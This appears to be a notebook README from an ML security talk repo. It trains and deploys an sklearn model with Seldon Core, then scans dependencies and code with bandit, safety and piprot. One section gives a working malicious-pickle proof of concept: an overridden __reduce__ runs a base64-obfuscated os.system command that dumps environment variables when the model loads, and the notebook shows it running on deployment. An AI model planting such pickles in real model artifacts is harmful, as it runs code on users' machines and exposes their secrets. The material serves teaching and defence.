Flawed Machine Learning Security

(AKA Exploring Secure ML)

About this repo

This Repo contains a set of resources relevant to the talk "Secure Machine Learning at Scale with MLSecOps", and provides a set of examples to showcase practical common security flaws throughout the multiple phases of the machine learning lifecycle.

We also present ways to mitigate and avoid these security vulnerabilities, which are grouped under the "SML Security (Safe ML Security)" repo.

Relevant Links

Link to Talk Resources

Below are links to resources related to the talk, as well as references and relevant areas in machine learning security.


📄 Presentaiton Slides	🗣️ Safe Machine Learning Project Template	📽️ Talk Video

Navigating the Repo Examples

Below is the direct links to each of the headers that map to the main key sections of the presentation slides.

Train Model and Deploy Artifact
Load Pickle and Inject Malicious Code
Adversarial Detection
Dependency Vulnerability Scans
Code Scans
Container Scans
Honourable Mentions
Safe ML Project Template

Links to Other Talks and Relevant Resources


📜 Machine Learning Ecosystem List	📚 The State of ML Operations	📈 Prod ML Monitoring
🌀 Accelerating ML Inference at Scale	🕵️‍♀️ Alibi Detect Adversarial Detection	👓 Practical AI Ethics

Other relevant resources

You can join the Machine Learning Engineer newsletter. You will receive updates on open source frameworks, tutorials and articles curated by machine learning professionals.

Requirements

The notebook was created with the following requirements:

kubectl - v1.22.5
istioctl v1.11.4
helm - v.3.7.0
mc (minio client) - RELEASE.2020-04-17T08-55-48Z
Kubernetes > 1.18
Python 3.7

Setting up environment

In order to set up the environment correctly, you will have to follow the SETUP.ipynb Jupyter notebook.

1 - Train Model and Deploy Artifact

In this section we will train a machine learning model and deploy it with Seldon Core. We will overlook a lot of the details, but if you want to learn the ins-and-outs there are a set of talks referenced in the intro section above.

Install requirements for model

%%writefile requirements.txt
seldon_core
scikit-learn == 0.24.2
numpy >= 1.8.2
joblib == 0.16.0

Overwriting requirements.txt

!pip install -r requirements.txt

Import datasets to train Iris model

from sklearn import datasets

iris = datasets.load_iris()
X, y = iris.data, iris.target

Import simple LogsticRegression model

from sklearn.linear_model import LogisticRegression

model = LogisticRegression(solver="liblinear", multi_class='ovr')

Train model with dataset

model.fit(X, y)

LogisticRegression(multi_class='ovr', solver='liblinear')

Run prediction to test model

model.predict(X[:1])

array([0])

Dump model binary with pickle

!mkdir -p fml-artifacts/safe/

import joblib

joblib.dump(model, "fml-artifacts/safe/model.joblib")

['fml-artifacts/safe/model.joblib']

with open("fml-artifacts/safe/model.joblib", "rb") as f: print(f.readlines())

[b'\x80\x03csklearn.linear_model._logistic\n', b'LogisticRegression\n', b'q\x00)\x81q\x01}q\x02(X\x07\x00\x00\x00penaltyq\x03X\x02\x00\x00\x00l2q\x04X\x04\x00\x00\x00dualq\x05\x89X\x03\x00\x00\x00tolq\x06G?\x1a6\xe2\xeb\x1cC-X\x01\x00\x00\x00Cq\x07G?\xf0\x00\x00\x00\x00\x00\x00X\r\x00\x00\x00fit_interceptq\x08\x88X\x11\x00\x00\x00intercept_scalingq\tK\x01X\x0c\x00\x00\x00class_weightq\n', b'NX\x0c\x00\x00\x00random_stateq\x0bNX\x06\x00\x00\x00solverq\x0cX\t\x00\x00\x00liblinearq\rX\x08\x00\x00\x00max_iterq\x0eKdX\x0b\x00\x00\x00multi_classq\x0fX\x03\x00\x00\x00ovrq\x10X\x07\x00\x00\x00verboseq\x11K\x00X\n', b'\x00\x00\x00warm_startq\x12\x89X\x06\x00\x00\x00n_jobsq\x13NX\x08\x00\x00\x00l1_ratioq\x14NX\x0e\x00\x00\x00n_features_in_q\x15K\x04X\x08\x00\x00\x00classes_q\x16cjoblib.numpy_pickle\n', b'NumpyArrayWrapper\n', b'q\x17)\x81q\x18}q\x19(X\x08\x00\x00\x00subclassq\x1acnumpy\n', b'ndarray\n', b'q\x1bX\x05\x00\x00\x00shapeq\x1cK\x03\x85q\x1dX\x05\x00\x00\x00orderq\x1eh\x07X\x05\x00\x00\x00dtypeq\x1fcnumpy\n', b'dtype\n', b'q X\x02\x00\x00\x00i8q!\x89\x88\x87q"Rq#(K\x03X\x01\x00\x00\x00<q$NNNJ\xff\xff\xff\xffJ\xff\xff\xff\xffK\x00tq%bX\n', b'\x00\x00\x00allow_mmapq&\x88ub\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00X\x05\x00\x00\x00coef_q\'h\x17)\x81q(}q)(h\x1ah\x1bh\x1cK\x03K\x04\x86q*h\x1eX\x01\x00\x00\x00Fq+h\x1fh X\x02\x00\x00\x00f8q,\x89\x88\x87q-Rq.(K\x03h$NNNJ\xff\xff\xff\xffJ\xff\xff\xff\xffK\x00tq/bh&\x88ub, ?T\xff@\xda?\xf6_5nM\\\xdb?.z\xa2\x86\xfbQ\xfb\xbf\x0bh|N5m\xf7?w\xfa$3:\xcb\xf9\xbf\xbc\x99m\xbff\x8c\xf8\xbf{\xc8\x01\x01\x8c\x14\x02\xc0l\xcb\xc4e\x18m\xe2?\xb3s\x82\xa2\x8a\xc4\x03@`\xf08\xe4(V\xf0\xbf"\\}\x85\xaf\x7f\xf6\xbf\x03M#\n', b'fq\x04@X\n', b"\x00\x00\x00intercept_q0h\x17)\x81q1}q2(h\x1ah\x1bh\x1cK\x03\x85q3h\x1eh\x07h\x1fh.h&\x88ub\xb5~?\xd6\xf4\xe8\xd0?\x8d\xd5\xfc'\xb7\x80\xf1??\xc3\xdc\xe0ro\xf3\xbfX\x07\x00\x00\x00n_iter_q4h\x17)\x81q5}q6(h\x1ah\x1bh\x1cK\x01\x85q7h\x1eh\x07h\x1fh X\x02\x00\x00\x00i4q8\x89\x88\x87q9Rq:(K\x03h$NNNJ\xff\xff\xff\xffJ\xff\xff\xff\xffK\x00tq;bh&\x88ub\x07\x00\x00\x00X\x10\x00\x00\x00_sklearn_versionq<X\x06\x00\x00\x000.24.2q=ub."]

Deploy the model

!mc cp -r fml-artifacts/ minio-seldon/fml-artifacts/

...el.joblib:  1.05 KiB / 1.05 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 75.93 KiB/s 0s�[0m�[0m

%%bash
kubectl apply -f - << END
apiVersion: machinelearning.seldon.io/v1
kind: SeldonDeployment
metadata:
  name: model-safe
spec:
  predictors:
  - graph:
      implementation: SKLEARN_SERVER
      modelUri: s3://fml-artifacts/safe
      envSecretRefName: seldon-init-container-secret
      name: classifier
    name: default
END

seldondeployment.machinelearning.seldon.io/model-safe unchanged

!kubectl get pods | grep model-safe

model-safe-default-0-classifier-68f495d845-l9ff9     2/2     Running   0          41m

import requests

url = "http://localhost:80/seldon/default/model-safe/api/v1.0/predictions"

requests.post(url, json={"data": {"ndarray": [[1,2,3,4]]}}).json()

{'data': {'names': ['t:0', 't:1', 't:2'],
  'ndarray': [[0.0006985194531162835,
    0.00366803903943666,
    0.995633441507447]]},
 'meta': {'requestPath': {'classifier': 'seldonio/sklearnserver:1.13.1'}}}

2 - Load Pickle and Inject Malicious Code

import joblib

model_safe = joblib.load("fml-artifacts/safe/model.joblib")

model_safe.predict(X[:1])

array([0])

import types, os, base64

def __reduce__(self):
    # This is basically base64 for cmd = "env > pwnd.txt"
    cmd = base64.b64decode("ZW52ID4gcHduZC50eHQ=").decode() 
    return os.system, (cmd,)

model_safe.__class__.__reduce__ = types.MethodType(__reduce__, model_safe.__class__)

!mkdir -p fml-artifacts/unsafe/

joblib.dump(model_safe, "fml-artifacts/unsafe/model.joblib")

['fml-artifacts/unsafe/model.joblib']

with open("fml-artifacts/unsafe/model.joblib", "rb") as f: print(f.readlines())

[b'\x80\x03cposix\n', b'system\n', b'q\x00X\x0e\x00\x00\x00env > pwnd.txtq\x01\x85q\x02Rq\x03.']

Deploy the model

!mc cp -r fml-artifacts/ minio-seldon/fml-artifacts/

...el.joblib:  1.05 KiB / 1.05 KiB ┃▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓┃ 111.11 KiB/s 0s�[0m�[0m

%%bash
kubectl apply -f - << END
apiVersion: machinelearning.seldon.io/v1
kind: SeldonDeployment
metadata:
  name: model-unsafe
spec:
  predictors:
  - graph:
      implementation: SKLEARN_SERVER
      modelUri: s3://fml-artifacts/unsafe
      envSecretRefName: seldon-init-container-secret
      name: classifier
    name: default
END

seldondeployment.machinelearning.seldon.io/model-unsafe unchanged

!kubectl get pods

NAME                                                 READY   STATUS    RESTARTS   AGE
model-safe-default-0-classifier-68f495d845-l9ff9     2/2     Running   0          43m
model-unsafe-default-0-classifier-85969ff86c-kd62w   2/2     Running   0          43m

%%bash
UNSAFE_POD=$(kubectl get pod -l app=model-unsafe-default-0-classifier -o jsonpath="{.items[0].metadata.name}")
kubectl exec $UNSAFE_POD -c classifier -- head -5 pwnd.txt

SERVICE_TYPE=MODEL
LC_ALL=C.UTF-8
MODEL_UNSAFE_DEFAULT_SERVICE_PORT_GRPC=5001
MODEL_UNSAFE_DEFAULT_SERVICE_PORT_HTTP=8000
MODEL_SAFE_DEFAULT_PORT_5001_TCP_PROTO=tcp

Now reload the insecure pickle

!rm pwnd.txt

import joblib

model_unsafe = joblib.load("fml-artifacts/unsafe/model.joblib")

!head -4 pwnd.txt

CONDA_PROMPT_MODIFIER=(base) 
TMUX=/tmp/tmux-1000/default,110,0
PYSPARK_DRIVER_PYTHON=jupyter
USER=alejandro

Cleaning Artifacts Section

!rm pwnd.txt

!kubectl delete sdep model-safe model-unsafe

seldondeployment.machinelearning.seldon.io "model-safe" deleted
seldondeployment.machinelearning.seldon.io "model-unsafe" deleted

3 - Adversarial Detection

Using Alibi Detect end to end adversarial detection example https://docs.seldon.io/projects/alibi-detect/en/latest/examples/alibi_detect_deploy.html

4 - Code Scans

We use bandit for python AST code scans, which we can make sure to extend as well to some of the code that is being used in Jupyter notebooks where relevant.

Examples of key areas that we would be interested to identify:

Ensuring secrets/keys are not being committed to the repo
Ensuring bad practice can be avoided where clear potential risk
Identifying and pointing potentially risky code paths
Providing suggestions where best practices can be provided

!pip install bandit

!bandit .

[main]	INFO	profile include tests: None
[main]	INFO	profile exclude tests: None
[main]	INFO	cli include tests: None
[main]	INFO	cli exclude tests: None
[main]	INFO	running on Python 3.7.12
[manager]	WARNING	Skipping directory (.), use -r flag to scan contents
�[95mRun started:2022-04-10 17:04:48.838869�[0m
�[95m
Test results:�[0m
	No issues identified.
�[95m
Code scanned:�[0m
	Total lines of code: 0
	Total lines skipped (#nosec): 0
�[95m
Run metrics:�[0m
	Total issues (by severity):
		Undefined: 0
		Low: 0
		Medium: 0
		High: 0
	Total issues (by confidence):
		Undefined: 0
		Low: 0
		Medium: 0
		High: 0
�[95mFiles skipped (0):�[0m

5 - Dependency Vulnerability Scans

Revisiting our requirements

!cat requirements.txt

seldon_core
scikit-learn == 0.24.2
numpy >= 1.8.2
joblib == 0.16.0

!pip install pipdeptree

!pipdeptree

Warning!!! Possibly conflicting dependencies found:
* docker-compose==1.25.0
 - cached-property [required: >=1.2.0,<2, installed: ?]
 - websocket-client [required: >=0.32.0,<1, installed: ?]
 - docker [required: >=3.7.0,<5, installed: ?]
 - PyYAML [required: >=3.10,<5, installed: 5.4.1]
------------------------------------------------------------------------
bandit==1.7.4
  - GitPython [required: >=1.0.1, installed: 3.1.27]
    - gitdb [required: >=4.0.1,<5, installed: 4.0.9]
      - smmap [required: >=3.0.1,<6, installed: 5.0.0]
    - typing-extensions [required: >=3.7.4.3, installed: 4.1.1]
  - PyYAML [required: >=5.3.1, installed: 5.4.1]
  - stevedore [required: >=1.20.0, installed: 3.5.0]
    - importlib-metadata [required: >=1.7.0, installed: 4.11.3]
      - typing-extensions [required: >=3.6.4, installed: 4.1.1]
      - zipp [required: >=0.5, installed: 3.8.0]
    - pbr [required: >=2.0.0,!=2.1.0, installed: 5.8.1]
docker-compose==1.25.0
  - cached-property [required: >=1.2.0,<2, installed: ?]
  - docker [required: >=3.7.0,<5, installed: ?]
  - dockerpty [required: >=0.4.1,<1, installed: 0.4.1]
    - six [required: >=1.3.0, installed: 1.16.0]
  - docopt [required: >=0.6.1,<1, installed: 0.6.2]
  - jsonschema [required: >=2.5.1,<4, installed: 3.2.0]
    - attrs [required: >=17.4.0, installed: 21.4.0]
    - importlib-metadata [required: Any, installed: 4.11.3]
      - typing-extensions [required: >=3.6.4, installed: 4.1.1]
      - zipp [required: >=0.5, installed: 3.8.0]
    - pyrsistent [required: >=0.14.0, installed: 0.18.1]
    - setuptools [required: Any, installed: 62.0.0]
    - six [required: >=1.11.0, installed: 1.16.0]
  - PyYAML [required: >=3.10,<5, installed: 5.4.1]
  - requests [required: >=2.20.0,<3, installed: 2.27.1]
    - certifi [required: >=2017.4.17, installed: 2021.10.8]
    - charset-normalizer [required: ~=2.0.0, installed: 2.0.12]
    - idna [required: >=2.5,<4, installed: 3.3]
    - urllib3 [required: >=1.21.1,<1.27, installed: 1.26.5]
  - six [required: >=1.3.0,<2, installed: 1.16.0]
  - texttable [required: >=0.9.0,<2, installed: 1.6.2]
  - websocket-client [required: >=0.32.0,<1, installed: ?]
paramiko==2.7.1
  - bcrypt [required: >=3.1.3, installed: 3.1.7]
    - cffi [required: >=1.1, installed: 1.15.0]
      - pycparser [required: Any, installed: 2.21]
    - six [required: >=1.4.1, installed: 1.16.0]
  - cryptography [required: >=2.5, installed: 3.4.8]
    - cffi [required: >=1.12, installed: 1.15.0]
      - pycparser [required: Any, installed: 2.21]
  - pynacl [required: >=1.0.1, installed: 1.3.0]
    - cffi [required: >=1.4.1, installed: 1.15.0]
      - pycparser [required: Any, installed: 2.21]
    - six [required: Any, installed: 1.16.0]
pipdeptree==2.2.1
  - pip [required: >=6.0.0, installed: 22.0.4]
piprot==0.9.11
  - requests [required: Any, installed: 2.27.1]
    - certifi [required: >=2017.4.17, installed: 2021.10.8]
    - charset-normalizer [required: ~=2.0.0, installed: 2.0.12]
    - idna [required: >=2.5,<4, installed: 3.3]
    - urllib3 [required: >=1.21.1,<1.27, installed: 1.26.5]
  - requests-futures [required: Any, installed: 1.0.0]
    - requests [required: >=1.2.0, installed: 2.27.1]
      - certifi [required: >=2017.4.17, installed: 2021.10.8]
      - charset-normalizer [required: ~=2.0.0, installed: 2.0.12]
      - idna [required: >=2.5,<4, installed: 3.3]
      - urllib3 [required: >=1.21.1,<1.27, installed: 1.26.5]
  - six [required: Any, installed: 1.16.0]
pytest==5.4.3
  - attrs [required: >=17.4.0, installed: 21.4.0]
  - importlib-metadata [required: >=0.12, installed: 4.11.3]
    - typing-extensions [required: >=3.6.4, installed: 4.1.1]
    - zipp [required: >=0.5, installed: 3.8.0]
  - more-itertools [required: >=4.0.0, installed: 8.12.0]
  - packaging [required: Any, installed: 21.3]
    - pyparsing [required: >=2.0.2,!=3.0.5, installed: 3.0.8]
  - pluggy [required: >=0.12,<1.0, installed: 0.13.1]
    - importlib-metadata [required: >=0.12, installed: 4.11.3]
      - typing-extensions [required: >=3.6.4, installed: 4.1.1]
      - zipp [required: >=0.5, installed: 3.8.0]
  - py [required: >=1.5.0, installed: 1.11.0]
  - wcwidth [required: Any, installed: 0.2.5]
safety==1.10.3
  - Click [required: >=6.0, installed: 8.0.4]
    - importlib-metadata [required: Any, installed: 4.11.3]
      - typing-extensions [required: >=3.6.4, installed: 4.1.1]
      - zipp [required: >=0.5, installed: 3.8.0]
  - dparse [required: >=0.5.1, installed: 0.5.1]
    - packaging [required: Any, installed: 21.3]
      - pyparsing [required: >=2.0.2,!=3.0.5, installed: 3.0.8]
    - pyyaml [required: Any, installed: 5.4.1]
    - toml [required: Any, installed: 0.10.2]
  - packaging [required: Any, installed: 21.3]
    - pyparsing [required: >=2.0.2,!=3.0.5, installed: 3.0.8]
  - requests [required: Any, installed: 2.27.1]
    - certifi [required: >=2017.4.17, installed: 2021.10.8]
    - charset-normalizer [required: ~=2.0.0, installed: 2.0.12]
    - idna [required: >=2.5,<4, installed: 3.3]
    - urllib3 [required: >=1.21.1,<1.27, installed: 1.26.5]
  - setuptools [required: Any, installed: 62.0.0]
scikit-learn==0.24.2
  - joblib [required: >=0.11, installed: 0.16.0]
  - numpy [required: >=1.13.3, installed: 1.21.5]
  - scipy [required: >=0.19.1, installed: 1.7.3]
    - numpy [required: >=1.16.5,<1.23.0, installed: 1.21.5]
  - threadpoolctl [required: >=2.0.0, installed: 3.1.0]
seldon-core==1.13.1
  - click [required: >=8.0.0a1,<8.1, installed: 8.0.4]
    - importlib-metadata [required: Any, installed: 4.11.3]
      - typing-extensions [required: >=3.6.4, installed: 4.1.1]
      - zipp [required: >=0.5, installed: 3.8.0]
  - cryptography [required: >=3.4,<3.5, installed: 3.4.8]
    - cffi [required: >=1.12, installed: 1.15.0]
      - pycparser [required: Any, installed: 2.21]
  - Flask [required: <2.0.0, installed: 1.1.2]
    - click [required: >=5.1, installed: 8.0.4]
      - importlib-metadata [required: Any, installed: 4.11.3]
        - typing-extensions [required: >=3.6.4, installed: 4.1.1]
        - zipp [required: >=0.5, installed: 3.8.0]
    - itsdangerous [required: >=0.24, installed: 1.1.0]
    - Jinja2 [required: >=2.10.1, installed: 2.11.3]
      - MarkupSafe [required: >=0.23, installed: 1.1.1]
    - Werkzeug [required: >=0.15, installed: 2.1.1]
  - Flask-cors [required: <4.0.0, installed: 3.0.10]
    - Flask [required: >=0.9, installed: 1.1.2]
      - click [required: >=5.1, installed: 8.0.4]
        - importlib-metadata [required: Any, installed: 4.11.3]
          - typing-extensions [required: >=3.6.4, installed: 4.1.1]
          - zipp [required: >=0.5, installed: 3.8.0]
      - itsdangerous [required: >=0.24, installed: 1.1.0]
      - Jinja2 [required: >=2.10.1, installed: 2.11.3]
        - MarkupSafe [required: >=0.23, installed: 1.1.1]
      - Werkzeug [required: >=0.15, installed: 2.1.1]
    - Six [required: Any, installed: 1.16.0]
  - Flask-OpenTracing [required: >=1.1.0,<1.2.0, installed: 1.1.0]
    - Flask [required: Any, installed: 1.1.2]
      - click [required: >=5.1, installed: 8.0.4]
        - importlib-metadata [required: Any, installed: 4.11.3]
          - typing-extensions [required: >=3.6.4, installed: 4.1.1]
          - zipp [required: >=0.5, installed: 3.8.0]
      - itsdangerous [required: >=0.24, installed: 1.1.0]
      - Jinja2 [required: >=2.10.1, installed: 2.11.3]
        - MarkupSafe [required: >=0.23, installed: 1.1.1]
      - Werkzeug [required: >=0.15, installed: 2.1.1]
    - opentracing [required: >=2.0,<3, installed: 2.4.0]
  - flatbuffers [required: <2.0.0, installed: 1.12]
  - grpcio [required: <2.0.0, installed: 1.45.0]
    - six [required: >=1.5.2, installed: 1.16.0]
  - grpcio-opentracing [required: >=1.1.4,<1.2.0, installed: 1.1.4]
    - grpcio [required: >=1.1.3,<2.0, installed: 1.45.0]
      - six [required: >=1.5.2, installed: 1.16.0]
    - opentracing [required: >=1.2.2, installed: 2.4.0]
    - six [required: >=1.10, installed: 1.16.0]
  - grpcio-reflection [required: <1.35.0, installed: 1.34.1]
    - grpcio [required: >=1.34.1, installed: 1.45.0]
      - six [required: >=1.5.2, installed: 1.16.0]
    - protobuf [required: >=3.6.0, installed: 3.20.0]
  - gunicorn [required: >=19.9.0,<20.2.0, installed: 20.1.0]
    - setuptools [required: >=3.0, installed: 62.0.0]
  - itsdangerous [required: ==1.1.0, installed: 1.1.0]
  - jaeger-client [required: >=4.1.0,<4.5.0, installed: 4.4.0]
    - opentracing [required: >=2.1,<3.0, installed: 2.4.0]
    - threadloop [required: >=1,<2, installed: 1.0.2]
      - tornado [required: Any, installed: 6.1]
    - thrift [required: Any, installed: 0.16.0]
      - six [required: >=1.7.2, installed: 1.16.0]
    - tornado [required: >=4.3, installed: 6.1]
  - jsonschema [required: <4.0.0, installed: 3.2.0]
    - attrs [required: >=17.4.0, installed: 21.4.0]
    - importlib-metadata [required: Any, installed: 4.11.3]
      - typing-extensions [required: >=3.6.4, installed: 4.1.1]
      - zipp [required: >=0.5, installed: 3.8.0]
    - pyrsistent [required: >=0.14.0, installed: 0.18.1]
    - setuptools [required: Any, installed: 62.0.0]
    - six [required: >=1.11.0, installed: 1.16.0]
  - markupsafe [required: ==1.1.1, installed: 1.1.1]
  - numpy [required: <2.0.0, installed: 1.21.5]
  - opentracing [required: >=2.2.0,<2.5.0, installed: 2.4.0]
  - prometheus-client [required: >=0.7.1,<0.9.0, installed: 0.8.0]
  - protobuf [required: <4.0.0, installed: 3.20.0]
  - PyYAML [required: >=5.4,<5.5, installed: 5.4.1]
  - requests [required: <3.0.0, installed: 2.27.1]
    - certifi [required: >=2017.4.17, installed: 2021.10.8]
    - charset-normalizer [required: ~=2.0.0, installed: 2.0.12]
    - idna [required: >=2.5,<4, installed: 3.3]
    - urllib3 [required: >=1.21.1,<1.27, installed: 1.26.5]
  - setuptools [required: >=41.0.0, installed: 62.0.0]
  - urllib3 [required: ==1.26.5, installed: 1.26.5]
wheel==0.37.1

Identifying shortcomings of pip

If we visualise the output of sklearn itself, we can see that for the dependencies we have a set of ranges as follows:

scikit-learn==0.24.2
  - joblib [required: >=0.11, installed: 0.16.0]
  - numpy [required: >=1.13.3, installed: 1.21.5]
  - scipy [required: >=0.19.1, installed: 1.7.3]
    - numpy [required: >=1.16.5,<1.23.0, installed: 1.21.5]
  - threadpoolctl [required: >=2.0.0, installed: 3.1.0]

This means that if we run an install, we may have 2nd+ level dependencies that may change causing undesired effects.

Workaround with PIP

We can actually create our makeshift environment freeze by using PIP directly.

!pip freeze > requirements-freeze.txt

!head -10 requirements-freeze.txt

attrs==21.4.0
bandit==1.7.4
bcrypt==3.1.7
certifi==2021.10.8
cffi==1.15.0
charset-normalizer==2.0.12
click==8.0.4
cryptography==3.4.8
docker-compose==1.25.0
dockerpty==0.4.1

Solving with Poetry

A better solution is to use poetry to lock the dependencies required into a .lock file that saves a fully reproducible environment.

%%writefile pyproject.toml
[tool.poetry]
name = "fml-security"
version = "0.1.0"
description = ""
authors = ["Alejandro Saucedo <axsauze@gmail.com>"]

[tool.poetry.dependencies]
python = ">=3.7,<3.11"

seldon-core = "1.13.1"
scikit-learn = "0.24.2"
numpy = "1.21.5"
joblib = "0.16.0"

[tool.poetry.dev-dependencies]
pytest = "^5.2"

[build-system]
requires = ["poetry-core>=1.0.0"]
build-backend = "poetry.core.masonry.api"

Overwriting pyproject.toml

!poetry install

!head -20 poetry.lock

[[package]]
name = "atomicwrites"
version = "1.4.0"
description = "Atomic file writes."
category = "dev"
optional = false
python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"

[[package]]
name = "attrs"
version = "21.4.0"
description = "Classes Without Boilerplate"
category = "main"
optional = false
python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"

[package.extras]
dev = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "mypy", "pytest-mypy-plugins", "zope.interface", "furo", "sphinx", "sphinx-notfound-page", "pre-commit", "cloudpickle"]
docs = ["furo", "sphinx", "zope.interface", "sphinx-notfound-page"]
tests = ["coverage[toml] (>=5.0.2)", "hypothesis", "pympler", "pytest (>=4.3.0)", "six", "mypy", "pytest-mypy-plugins", "zope.interface", "cloudpickle"]

Scanning Python Versions against CVE Database

!pip install safety

Requirement already satisfied: safety in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (1.10.3)
Requirement already satisfied: requests in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from safety) (2.27.1)
Requirement already satisfied: Click>=6.0 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from safety) (8.0.4)
Requirement already satisfied: packaging in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from safety) (21.3)
Requirement already satisfied: setuptools in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from safety) (62.0.0)
Requirement already satisfied: dparse>=0.5.1 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from safety) (0.5.1)
Requirement already satisfied: importlib-metadata in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from Click>=6.0->safety) (4.11.3)
Requirement already satisfied: toml in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from dparse>=0.5.1->safety) (0.10.2)
Requirement already satisfied: pyyaml in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from dparse>=0.5.1->safety) (5.4.1)
Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from packaging->safety) (3.0.8)
Requirement already satisfied: idna<4,>=2.5 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->safety) (3.3)
Requirement already satisfied: certifi>=2017.4.17 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->safety) (2021.10.8)
Requirement already satisfied: charset-normalizer~=2.0.0 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->safety) (2.0.12)
Requirement already satisfied: urllib3<1.27,>=1.21.1 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->safety) (1.26.5)
Requirement already satisfied: zipp>=0.5 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from importlib-metadata->Click>=6.0->safety) (3.8.0)
Requirement already satisfied: typing-extensions>=3.6.4 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from importlib-metadata->Click>=6.0->safety) (4.1.1)

!safety check -r requirements-freeze.txt

�[33mWarning: unpinned requirement 'grpcio' found in requirements-freeze.txt, unable to check.�[0m
�[33mWarning: unpinned requirement 'more-itertools' found in requirements-freeze.txt, unable to check.�[0m
�[33mWarning: unpinned requirement 'packaging' found in requirements-freeze.txt, unable to check.�[0m
�[33mWarning: unpinned requirement 'pluggy' found in requirements-freeze.txt, unable to check.�[0m
�[33mWarning: unpinned requirement 'py' found in requirements-freeze.txt, unable to check.�[0m
�[33mWarning: unpinned requirement 'pyparsing' found in requirements-freeze.txt, unable to check.�[0m
�[33mWarning: unpinned requirement 'pytest' found in requirements-freeze.txt, unable to check.�[0m
�[33mWarning: unpinned requirement 'wcwidth' found in requirements-freeze.txt, unable to check.�[0m
+==============================================================================+
|                                                                              |
|                               /$$$$$$            /$$                         |
|                              /$$__  $$          | $$                         |
|           /$$$$$$$  /$$$$$$ | $$  \__//$$$$$$  /$$$$$$   /$$   /$$           |
|          /$$_____/ |____  $$| $$$$   /$$__  $$|_  $$_/  | $$  | $$           |
|         |  $$$$$$   /$$$$$$$| $$_/  | $$$$$$$$  | $$    | $$  | $$           |
|          \____  $$ /$$__  $$| $$    | $$_____/  | $$ /$$| $$  | $$           |
|          /$$$$$$$/|  $$$$$$$| $$    |  $$$$$$$  |  $$$$/|  $$$$$$$           |
|         |_______/  \_______/|__/     \_______/   \___/   \____  $$           |
|                                                          /$$  | $$           |
|                                                         |  $$$$$$/           |
|  by pyup.io                                              \______/            |
|                                                                              |
+==============================================================================+
| REPORT                                                                       |
| checked 60 packages, using free DB (updated once a month)                    |
+============================+===========+==========================+==========+
| package                    | installed | affected                 | ID       |
+============================+===========+==========================+==========+
| numpy                      | 1.21.5    | <1.22.0                  | 44717    |
| numpy                      | 1.21.5    | <1.22.0                  | 44716    |
| numpy                      | 1.21.5    | <1.22.2                  | 44715    |
+==============================================================================+�[0m

Identifying Old Dependencies

Ensuring dependencies are up to date continuously is important. There are older dependencies like piprot but also good tools like dependeabot.

!pip install piprot

Collecting piprot
  Downloading piprot-0.9.11.tar.gz (8.5 kB)
  Preparing metadata (setup.py) ... �[?25ldone
�[?25hRequirement already satisfied: requests in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from piprot) (2.27.1)
Collecting requests-futures
  Downloading requests_futures-1.0.0-py2.py3-none-any.whl (7.4 kB)
Requirement already satisfied: six in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from piprot) (1.16.0)
Requirement already satisfied: certifi>=2017.4.17 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->piprot) (2021.10.8)
Requirement already satisfied: idna<4,>=2.5 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->piprot) (3.3)
Requirement already satisfied: charset-normalizer~=2.0.0 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->piprot) (2.0.12)
Requirement already satisfied: urllib3<1.27,>=1.21.1 in /home/alejandro/miniconda3/envs/fml-security/lib/python3.7/site-packages (from requests->piprot) (1.26.5)
Building wheels for collected packages: piprot
  Building wheel for piprot (setup.py) ... �[?25ldone
�[?25h  Created wheel for piprot: filename=piprot-0.9.11-py2.py3-none-any.whl size=7939 sha256=91e4561d9861e29b801b7a3bf433a281180b5d438f0507726b529f2ce9007643
  Stored in directory: /home/alejandro/.cache/pip/wheels/4f/9c/3e/63acac74a6d463ff5f08b0d51c0891b7a33e591c0a1dc3bb59
Successfully built piprot
Installing collected packages: requests-futures, piprot
Successfully installed piprot-0.9.11 requests-futures-1.0.0

!piprot requirements-freeze.txt

attrs (21.4.0) is up to date
bcrypt (3.1.7) is 925 days out of date. Latest is 3.2.0
certifi (2021.10.8) is up to date
cffi (1.15.0) is up to date
charset-normalizer (2.0.12) is up to date
click (8.0.4) is 41 days out of date. Latest is 8.1.2
cryptography (3.4.8) is 203 days out of date. Latest is 36.0.2
docker-compose (1.25.0) is 538 days out of date. Latest is 1.29.2
dockerpty (0.4.1) is up to date
docopt (0.6.2) is up to date
Flask (1.1.2) is 726 days out of date. Latest is 2.1.1
Flask-Cors (3.0.10) is up to date
Flask-OpenTracing (1.1.0) is up to date
flatbuffers (1.12) is 423 days out of date. Latest is 2.0
grpcio (1.44.0) is 34 days out of date. Latest is 1.45.0
